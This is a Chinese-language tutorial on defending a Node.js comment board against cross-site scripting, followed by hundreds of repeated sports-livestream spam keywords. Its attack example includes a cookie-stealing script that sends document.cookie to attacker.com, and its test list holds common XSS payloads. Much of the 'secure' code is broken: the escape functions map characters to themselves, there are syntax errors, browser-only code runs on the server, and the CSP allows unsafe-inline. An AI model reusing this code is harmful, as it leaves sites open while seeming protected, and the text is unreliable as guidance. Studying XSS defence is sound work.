本文目录导读:

我来为你提供一个完整的防XSS(跨站脚本攻击)案例,从攻击场景到防御方案,全面讲解。
XSS攻击漏洞示例(错误示范)
存储型XSS - 留言板场景
// ❌ 有漏洞的代码
// 后端Node.js + Express
app.post('/api/comment', (req, res) => {
const comment = req.body.comment;
// 直接存储用户输入,未做任何处理
db.save({ comment: comment });
res.json({ success: true });
});
app.get('/api/comments', (req, res) => {
const comments = db.getAll();
// 直接返回给前端
res.json(comments);
});
<!-- ❌ 有漏洞的前端代码 -->
<div id="comments">
<!-- 直接插入HTML -->
</div>
<script>
fetch('/api/comments')
.then(res => res.json())
.then(comments => {
const container = document.getElementById('comments');
comments.forEach(c => {
// 危险操作!直接插入HTML
container.innerHTML += `<div class="comment">${c.comment}</div>`;
});
});
</script>
攻击效果:攻击者提交评论:
<script>
// 窃取用户Cookie
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// 或重定向到钓鱼网站
// window.location = 'https://phishing-site.com';
</script>
<img src="x" onerror="alert('XSS攻击成功')">
安全防御方案(正确示范)
1 后端防御层
// ✅ 安全的后端代码
const express = require('express');
const xss = require('xss'); // 使用xss库
const helmet = require('helmet');
const app = express();
app.use(helmet()); // 设置安全HTTP头
// HTML转义函数
function escapeHTML(str) {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
// 或者使用专门的XSS过滤库
const xssOptions = {
whiteList: {
'a': ['href', 'title', 'target'],
'p': [],
'br': [],
'strong': [],
'em': []
},
stripIgnoreTag: true,
onTagAttr: (tag, name, value, isWhiteAttr) => {
if (name === 'href' && value.startsWith('javascript:')) {
return '';
}
}
};
app.post('/api/comment', (req, res) => {
// 方案1:简单转义
// const cleanComment = escapeHTML(req.body.comment);
// 方案2:使用xss库白名单过滤
const cleanComment = xss(req.body.comment, xssOptions);
// 方案3:使用DOMPurify(推荐)
// const cleanComment = DOMPurify.sanitize(req.body.comment);
db.save({ comment: cleanComment });
res.json({ success: true });
});
2 前端安全渲染方案
<!-- ✅ 安全的前端代码 - 使用textContent而非innerHTML -->
<div id="comments"></div>
<script>
// 方法1:使用textContent(推荐)
fetch('/api/comments')
.then(res => res.json())
.then(comments => {
const container = document.getElementById('comments');
comments.forEach(c => {
const div = document.createElement('div');
div.className = 'comment';
div.textContent = c.comment; // ✅ 自动转义,安全
container.appendChild(div);
});
});
</script>
// 方法2:安全的HTML模板(不推荐但提供方案)
function safeRender() {
const userInput = '<script>alert("xss")</script>';
// ❌ 错误
// const dangerous = `<div>${userInput}</div>`;
// ✅ 正确 - 使用escape函数
const escapeHtml = (unsafe) => {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
};
const safe = `<div>${escapeHtml(userInput)}</div>`;
return safe;
}
3 前端框架的安全实践
// ✅ React安全写法
import DOMPurify from 'dompurify';
function Comment({ comment }) {
// 正确方式:React自动转义
return <div>{comment}</div>; // ✅ React默认转义
// 错误方式:使用dangerouslySetInnerHTML
// return <div dangerouslySetInnerHTML={{ __html: comment }} />; // ❌ 危险
}
// ✅ Vue安全写法
Vue.component('comment', {
template: `
<div>
<!-- ✅ 正确:自动转义 -->
{{ comment }}
<!-- ❌ 错误:使用v-html(仅在可信内容时使用) -->
<!-- <div v-html="comment"></div> -->
</div>
`
});
4 综合防御方案
// 完整的XSS防御类
class XSSProtection {
constructor() {
this.blacklist = ['script', 'style', 'iframe', 'object', 'embed'];
}
// 输入验证
validateInput(input) {
if (typeof input !== 'string') return '';
// 移除危险标签
let safe = input;
this.blacklist.forEach(tag => {
const regex = new RegExp(`<${tag}[^>]*>.*?<\\/${tag}>`, 'gi');
safe = safe.replace(regex, '');
});
// 移除事件属性
safe = safe.replace(/\son\w+\s*=/gi, ' data-safe-');
// 移除javascript:协议
safe = safe.replace(/href\s*=\s*["']?\s*javascript:/gi, '#');
// HTML实体编码
safe = this.encodeHTMLEntities(safe);
return safe;
}
// HTML实体编码
encodeHTMLEntities(str) {
const entities = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return str.replace(/[&<>"'/]/g, char => entities[char]);
}
// URL安全验证
isValidURL(url) {
const allowedProtocols = ['http:', 'https:', 'mailto:'];
try {
const parsed = new URL(url);
return allowedProtocols.includes(parsed.protocol);
} catch {
return false;
}
}
// 防止DOM clobbering
preventDOMClobbering(html) {
return html.replace(/id\s*=\s*["'](window|document|location)/gi, 'id="safe-$1"');
}
}
// 使用示例
const protection = new XSSProtection();
const userInput = '<script>alert("XSS")</script>';
const safeInput = protection.validateInput(userInput);
console.log(safeInput); // 安全处理后的文本
测试用例
// 测试用例集合
const testCases = [
{
input: '<script>alert("XSS")</script>',
description: '基础script标签'
},
{
input: '<img src="x" onerror="alert(1)">',
description: '事件处理器'
},
{
input: '<a href="javascript:alert(1)">Click</a>',
description: 'JavaScript协议'
},
{
input: '<iframe src="https://evil.com"></iframe>',
description: 'iframe注入'
},
{
input: '"><svg onload="alert(1)">',
description: 'SVG注入'
},
{
input: '<div style="background:url(javascript:alert(1))">',
description: 'CSS注入'
}
];
// 测试防御效果
testCases.forEach(test => {
const cleaned = protection.validateInput(test.input);
console.log(`案例: ${test.description}`);
console.log(`输入: ${test.input}`);
console.log(`输出: ${cleaned}`);
console.log('---');
});
安全配置清单
// 安全配置汇总
const securityConfig = {
// CSP头配置
contentSecurityPolicy: {
directives: {
'default-src': ["'self'"],
'script-src': ["'self'", "'unsafe-inline'"], // 尽量避免unsafe-inline
'style-src': ["'self'", "'unsafe-inline'"],
'img-src': ["'self'", 'data:', 'https:'],
'object-src': ["'none'"]
}
},
// 其他安全头
headers: {
'X-Frame-Options': 'DENY', // 防止点击劫持
'X-Content-Type-Options': 'nosniff', // 防止MIME类型混淆
'X-XSS-Protection': '1; mode=block', // 启用浏览器XSS过滤
'Referrer-Policy': 'strict-origin-when-cross-origin'
}
};
// Express应用配置
app.use(helmet(contentSecurityPolicy: securityConfig.contentSecurityPolicy));
app.use(helmet(securityConfig.headers));
最佳实践总结
- 输入验证:永远不要信任用户输入,进行严格的验证和过滤
- 输出编码:在输出到HTML时进行适当的编码
- 使用安全API:优先使用
textContent而非innerHTML - CSP头:配置Content Security Policy限制资源加载
- 框架安全特性:利用React/Vue等框架的自动转义功能
- 安全库:使用DOMPurify、xss等成熟的安全库
- 定期审计:使用自动化工具进行安全扫描
通过以上多层防御措施,可以有效防止XSS攻击,保护用户数据和系统安全。
版权声明:NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播